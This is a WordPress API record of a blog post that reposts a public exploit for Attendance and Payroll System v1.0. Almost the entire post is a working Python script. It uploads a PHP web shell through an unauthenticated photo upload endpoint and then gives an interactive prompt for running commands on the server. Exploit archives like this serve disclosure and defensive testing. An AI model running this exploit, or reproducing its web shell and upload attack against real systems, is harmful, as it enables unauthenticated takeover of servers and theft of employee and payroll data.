{"id":21387,"date":"2022-03-07T19:49:05","date_gmt":"2022-03-07T16:49:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166223\/aps10-exec.txt"},"modified":"2022-03-08T09:04:48","modified_gmt":"2022-03-08T05:34:48","slug":"attendance-and-payroll-system-1-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/attendance-and-payroll-system-1-0-remote-code-execution\/","title":{"rendered":"Attendance And Payroll System 1.0 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Attendance and Payroll System v1.0 &#8211; Remote Code Execution (RCE)<br \/>\n# Date: 04\/03\/2022<br \/>\n# Exploit Author: pr0z<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/apsystem.zip<br \/>\n# Version: v1.0<br \/>\n# Tested on: Linux, MySQL, Apache<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport sys<br \/>\nfrom requests.exceptions import ConnectionError<\/p>\n<p dir=\"ltr\"># Interface class to display terminal messages<br \/>\nclass Interface():<br \/>\ndef __init__(self):<br \/>\nself.red = &#8216;\\033[91m&#8217;<br \/>\nself.green = &#8216;\\033[92m&#8217;<br \/>\nself.white = &#8216;\\033[37m&#8217;<br \/>\nself.yellow = &#8216;\\033[93m&#8217;<br \/>\nself.bold = &#8216;\\033[1m&#8217;<br \/>\nself.end = &#8216;\\033[0m&#8217;<\/p>\n<p dir=\"ltr\">def header(self):<br \/>\nprint(&#8216;\\n &gt;&gt; Attendance and Payroll System v1.0&#8217;)<br \/>\nprint(&#8216; &gt;&gt; Unauthenticated Remote Code Execution&#8217;)<br \/>\nprint(&#8216; &gt;&gt; By pr0z\\n&#8217;)<\/p>\n<p dir=\"ltr\">def info(self, message):<br \/>\nprint(f&#8221;[{self.white}*{self.end}] {message}&#8221;)<\/p>\n<p dir=\"ltr\">def warning(self, message):<br \/>\nprint(f&#8221;[{self.yellow}!{self.end}] {message}&#8221;)<\/p>\n<p dir=\"ltr\">def error(self, message):<br \/>\nprint(f&#8221;[{self.red}x{self.end}] {message}&#8221;)<\/p>\n<p dir=\"ltr\">def success(self, message):<br \/>\nprint(f&#8221;[{self.green}\u2713{self.end}] {self.bold}{message}{self.end}&#8221;)<\/p>\n<p dir=\"ltr\">upload_path = &#8216;\/apsystem\/admin\/employee_edit_photo.php&#8217;<br \/>\nshell_path = &#8216;\/apsystem\/images\/shell.php&#8217;<br \/>\n#proxies = {&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;, &#8216;https&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;}<\/p>\n<p dir=\"ltr\">shell_data = &#8220;&lt;?php if(isset($_REQUEST[&#8216;cmd&#8217;])){ $cmd = ($_REQUEST[&#8216;cmd&#8217;]); system($cmd);}?&gt;&#8221;<\/p>\n<p dir=\"ltr\">multipart_form_data = {<br \/>\n&#8216;id&#8217;: 1,<br \/>\n&#8216;upload&#8217;: (&#8221;),<br \/>\n}<\/p>\n<p dir=\"ltr\">files = {&#8216;photo&#8217;: (&#8216;shell.php&#8217;, shell_data)}<\/p>\n<p dir=\"ltr\">output = Interface()<br \/>\noutput.header()<\/p>\n<p dir=\"ltr\"># Check for arguments<br \/>\nif len(sys.argv) &lt; 2 or &#8216;-h&#8217; in sys.argv:<br \/>\noutput.info(&#8220;Usage: python3 rce.py http:\/\/127.0.0.1&#8221;)<br \/>\nsys.exit()<\/p>\n<p dir=\"ltr\"># Upload the shell<br \/>\ntarget = sys.argv[1]\noutput.info(f&#8221;Uploading the web shell to {target}&#8221;)<br \/>\nr = requests.post(target + upload_path, files=files, data=multipart_form_data, verify=False)<\/p>\n<p dir=\"ltr\"># Validating shell has been uploaded<br \/>\noutput.info(f&#8221;Validating the shell has been uploaded to {target}&#8221;)<br \/>\nr = requests.get(target + shell_path, verify=False)<br \/>\ntry:<br \/>\nr = requests.get(target + shell_path)<br \/>\nif r.status_code == 200:<br \/>\noutput.success(&#8216;Successfully connected to web shell\\n&#8217;)<br \/>\nelse:<br \/>\nraise Exception<br \/>\nexcept ConnectionError:<br \/>\noutput.error(&#8216;We were unable to establish a connection&#8217;)<br \/>\nsys.exit()<br \/>\nexcept:<br \/>\noutput.error(&#8216;Something unexpected happened&#8217;)<br \/>\nsys.exit()<\/p>\n<p dir=\"ltr\"># Remote code execution<br \/>\nwhile True:<br \/>\ntry:<br \/>\ncmd = input(&#8220;\\033[91mRCE\\033[0m &gt; &#8220;)<br \/>\nif cmd == &#8216;exit&#8217;:<br \/>\nraise KeyboardInterrupt<br \/>\nr = requests.get(target + shell_path + &#8220;?cmd=&#8221; + cmd, verify=False)<br \/>\nif r.status_code == 200:<br \/>\nprint(r.text)<br \/>\nelse:<br \/>\nraise Exception<br \/>\nexcept KeyboardInterrupt:<br \/>\nsys.exit()<br \/>\nexcept ConnectionError:<br \/>\noutput.error(&#8216;We lost our connection to the web shell&#8217;)<br \/>\nsys.exit()<br \/>\nexcept:<br \/>\noutput.error(&#8216;Something unexpected happened&#8217;)<br \/>\nsys.exit()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Attendance and Payroll System v1.0 &#8211; Remote Code Execution (RCE) # Date: 04\/03\/2022 # Exploit Author: pr0z # Vendor Homepage: https:\/\/www.sourcecodester.com # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/apsystem.zip # Version: v1.0 # Tested on: Linux, MySQL, Apache import requests import sys from requests.exceptions import ConnectionError # Interface class to display terminal messages class Interface(): def &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21387","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21387","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21387"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21387\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}